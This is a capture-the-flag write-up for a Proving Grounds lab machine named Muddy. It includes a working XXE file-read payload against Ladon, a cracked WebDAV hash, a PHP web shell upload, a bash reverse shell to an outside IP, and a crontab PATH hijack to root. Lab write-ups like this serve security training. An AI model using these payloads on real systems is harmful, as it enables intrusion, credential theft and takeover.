Muddy - OSPG

Read this in "about 8 minutes".

Summary of Result

Remote enumeration discloses a XML External Entity (XEE) vulnerability of ladon running on a higher port of a web application. Misusing XEE to read a configuration file, which bears credentials of webdav service. With the credentials, we can exploit authenticated WebDav file upload to secure an initial access. We then escalate our privilege by leveraging path hijacking vulnerability of a misconfigured crontab.


Enumeration

Nmap

We will begin with a nmap scan.

$ nmap --open -sV -A -p- -vv -n -Pn -oA nmap/services $IP
PORT     STATE SERVICE       REASON         VERSION 
22/tcp   open  ssh           syn-ack ttl 63 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:  
|   2048 74:ba:20:23:89:92:62:02:9f:e7:3d:3b:83:d4:d9:6c (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGGcX/x/M6J7Y0V8EeUt0FqceuxieEOe2fUH2RsY3XiSxByQWNQi+XSrFElrfjdR2sgnauIWWhWibfD+kTmSP5gkFcaoSsLtgfMP/2G8yuxPSev+9o1N18gZchJneakItNTaz1ltG1W//qJPZDHmkD
neyv798f9ZdXBzidtR5/+2ArZd64bldUxx0irH0lNcf+ICuVlhOZyXGvSx/ceMCRozZrW2JQU+WLvs49gC78zZgvN+wrAZ/3s8gKPOIPobN3ObVSkZ+zngt0Xg/Zl11LLAbyWX7TupAt6lTYOvCSwNVZURyB1dDdjlMAXqT/Ncr4LbP+tvsiI1BKlqxx4I
2r                        
|   256 54:8f:79:55:5a:b0:3a:69:5a:d5:72:39:64:fd:07:4e (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCpAb2jUKovAahxmPX9l95Pq9YWgXfIgDJw0obIpOjOkdP3b0ukm/mrTNgX2lg1mQBMlS3lzmQmxeyHGg9+xuJA=
|   256 7f:5d:10:27:62:ba:75:e9:bc:c8:4f:e2:72:87:d4:e2 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIE0omUJRIaMtPNYa4CKBC+XUzVyZsJ1QwsksjpA/6Ml+
25/tcp   open  smtp          syn-ack ttl 63 Exim smtpd
| smtp-commands: muddy Hello nmap.scanme.org [192.168.49.69], SIZE 52428800, 8BITMIME, PIPELINING, CHUNKING, PRDR, HELP, 
|_ Commands supported: AUTH HELO EHLO MAIL RCPT DATA BDAT NOOP QUIT RSET HELP 
80/tcp   open  http          syn-ack ttl 63 Apache httpd 2.4.38 ((Debian))
| http-methods:                      
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Did not follow redirect to http://muddy.ugc/
111/tcp  open  rpcbind       syn-ack ttl 63 2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|_  100000  3,4          111/udp6  rpcbind
443/tcp  open  tcpwrapped    syn-ack ttl 63
808/tcp  open  ccproxy-http? syn-ack ttl 63
908/tcp  open  unknown       syn-ack ttl 63
8888/tcp open  http          syn-ack ttl 63 WSGIServer 0.1 (Python 2.7.16)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: WSGIServer/0.1 Python/2.7.16
|_http-title: Ladon Service Catalog
  • There are a few open services, the web application running on port 8888 is our concentration.


HTTP/8888

From the nmap result, we notice that the server is employing Ladon Service Catalog, we can obtain the same info with curl.

curl -s http://muddy.ugc:8888/                                                                                                                                                        1 ⚙

...

                <div class="catName">Ladon Service Catalog</div>
              
...

                <div class="catGen">Powered by Ladon for Python</div>
        </body>
</html> 

Further enumeration reveals that muddy is the only one service run by Ladon. To access the service, we navigate to /muddy directory.

$ curl -s http://muddy.ugc:8888/muddy | html2text                                                                                                                                       1 ⚙
muddy
skins: [One of: Default/Bluebox/Rounded]
Service Description:
None
Available Interfaces:
    * xmlrpc [ url description ]
    * jsonrpc10 [ url description ]
    * jsonwsp [ url description ]
    * soapdocumentliteral [ url description ]
    * soap11 [ url description ]
    * soap [ url description ]
Methods:
    * checkout (  string  uid )
      None
      Paramters:
          o uid:  string
            None
      Returns:  string
      None
Types:
Powered by Ladon for Python

It’s worth taking note of the method checkout and the service muddy, since they might be useful later on.


XEE Ladon

With a few investigations, we discover that ladon is vulnerable to XEE.

$ searchsploit ladon  
------------------------------------------------------------ ---------------------------------
 Exploit Title                                              |  Path
------------------------------------------------------------ ---------------------------------
Ladon Framework for Python 0.9.40 - XML External Entity Exp | xml/webapps/43113.txt
------------------------------------------------------------ ---------------------------------
Shellcodes: No Results

Using the exploit payload found in the above PoC, we modify:

  • the method to checkout instead of sayhello.
  • the service to muddy instead of HelloService.

Let’s us try to read the /etc/passwd file.

  • The request might look as follows.
$ curl -s -X $'POST' \
> -H $'Content-Type: text/xml;charset=UTF-8' \
> -H $'SOAPAction: \"http://muddy.ugc:8888/muddy/soap11/checkout\"' \
> --data-binary $'<?xml version="1.0"?>
quote> <!DOCTYPE uid
[<!ENTITY passwd SYSTEM "file:///etc/passwd">
]>
quote> <soapenv:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"
quote> xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\"

quote> xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\"
quote> xmlns:urn=\"urn:muddy\"><soapenv:Header/>
quote> <soapenv:Body>
quote> <urn:checkout soapenv:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">
<uid xsi:type=\"xsd:string\">&passwd;</uid>
quote> </urn:checkout>
</soapenv:Body>
</soapenv:Envelope>' \
> 'http://muddy.ugc:8888/muddy/soap11' | xmllint --format -

The file:///etc/passwd will be included in a response if our code successfully executes.

  • Here is the response.
  <SOAP-ENV:Body SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
    <ns:checkoutResponse>
      <result>Serial number: 
	  [...]
	  
	  ian:x:1000:1000::/home/ian:/bin/sh
	  
	  [...]
	  </result>
    </ns:checkoutResponse>
  </SOAP-ENV:Body>
</SOAP-ENV:Envelope>

Perfect! From the enumeration phase, we also recognized a webdav service running on port 80.

$ ffuf -u http://muddy.ugc/FUZZ -w /usr/share/seclists/Discovery/Web-Content/big.txt

...
index.php               [Status: 200, Size: 19195, Words: 860, Lines: 351]
javascript              [Status: 301, Size: 321, Words: 20, Lines: 10]
server-status           [Status: 403, Size: 279, Words: 20, Lines: 10]
webdav                  [Status: 401, Size: 461, Words: 42, Lines: 15]
wp-admin                [Status: 301, Size: 319, Words: 20, Lines: 10]
wp-content              [Status: 301, Size: 321, Words: 20, Lines: 10]
wp-includes             [Status: 301, Size: 322, Words: 20, Lines: 10]
xmlrpc.php              [Status: 405, Size: 42, Words: 6, Lines: 1]

Now, we can try to read webdav configuration file to retain the admin credentials.

With the XEE vulnerability we have spotted earlier, adjust the file from /etc/passwd to /var/www/html/webdav/passwd.dav.

Primarily, our command is completely similar but the payload.

$ curl -s -X $'POST' \
...
[<!ENTITY passwd SYSTEM "file:///var/www/html/webdav/passwd.dav">
...
      <result>Serial number: administrant:$apr1$GUG1OnCu$uiSLaAQojCm14lPMwISDi0</result>
...

The encrypted password can then be cracked with hashcat.

$ hashcat -m 1600 -a 0 hash /usr/share/wordlists/rockyou.txt
[...]
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392                         
* Bytes.....: 139921507
* Keyspace..: 14344385                         
* Runtime...: 1 sec                            

$apr1$GUG1OnCu$uiSLaAQojCm14lPMwISDi0:sleepless

The cracked credentials is administrant:sleepless, which we abuse to bypass webdav login prompt.


Exploitation

WebDav File Upload

To upload a malcious shell, we use curl.

[1]. Upload a malicious .txt file

$ cat cmback.txt
<?php system($_GET['1']; )?>
$ curl -u administrant:sleepless -T 'cmback.txt' 'http://muddy.ugc/webdav/'
...
<title>201 Created</title>
...

[2]. Move the .txt extention to .php extention.

$ curl -X MOVE --header 'Destination:http://muddy.ugc/webdav/cmback.php' 'http://muddy.ugc/webdav/cmback.txt' -u administrant:sleepless
...
<title>201 Created</title>
...

201 Created code means both operations are successful. Next, we try to trigger the code.

$ curl -u administrant:sleepless -s http://muddy.ugc/webdav/cmback.php\?1=whoami                                                                                                        1 ⚙
www-data

and boom! → Remote Code Execution (RCE)!

Let’s us pull a bash reverse shell.

bash -c \"bash -i >& /dev/tcp/192.168.49.227/80 0>&1\"

It’s always a good idea to URL-encode the payload.

bash+-c+%22bash+-i+%3E%26+%2Fdev%2Ftcp%2F192.168.49.227%2F80+0%3E%261%22

The final command is:

$ curl -u administrant:sleepless -s http://muddy.ugc/webdav/cmback.php\?1=bash+-c+%22bash+-i+%3E%26+%2Fdev%2Ftcp%2F192.168.49.227%2F80+0%3E%261%22

After executed, our nc should catch the reverse shell at port 80 as www-data.

$ nc -nlvp 80     
listening on [any] 80 ...
connect to [192.168.49.227] from (UNKNOWN) [192.168.227.161] 55638
bash: cannot set terminal process group (574): Inappropriate ioctl for device
bash: no job control in this shell
www-data@muddy:/var/www/html/webdav$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Privilege Escalation

Crontab

Locally gather the target system divulges a vulnerable crontab service.

www-data@muddy:/var/www/html$ cat /etc/crontab

SHELL=/bin/sh
PATH=/dev/shm:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

...

*  *    * * *   root    netstat -tlpn > /root/status && service apache2 status >> /root/status && service mysql status >> /root/status

The netstat ... command is orderly defined in the PATH environment.

It’s worth noticing that we have a full control over the /dev/shm path, where cronjob will navigate to and execute its command.

At this point, we can inject a malicious netstat shell, which then executes commands of our choices as root.

www-data@muddy:~$ echo "chmod +s /bin/bash" > /dev/shm/netstat
www-data@muddy:~$ chmod 777 /dev/shm/netstat

After a minute, the /bin/bash command is dressed up with a SUID bit, we then run

www-data@muddy:~$ bash -p
bash-5.0# whoami
root

and become root!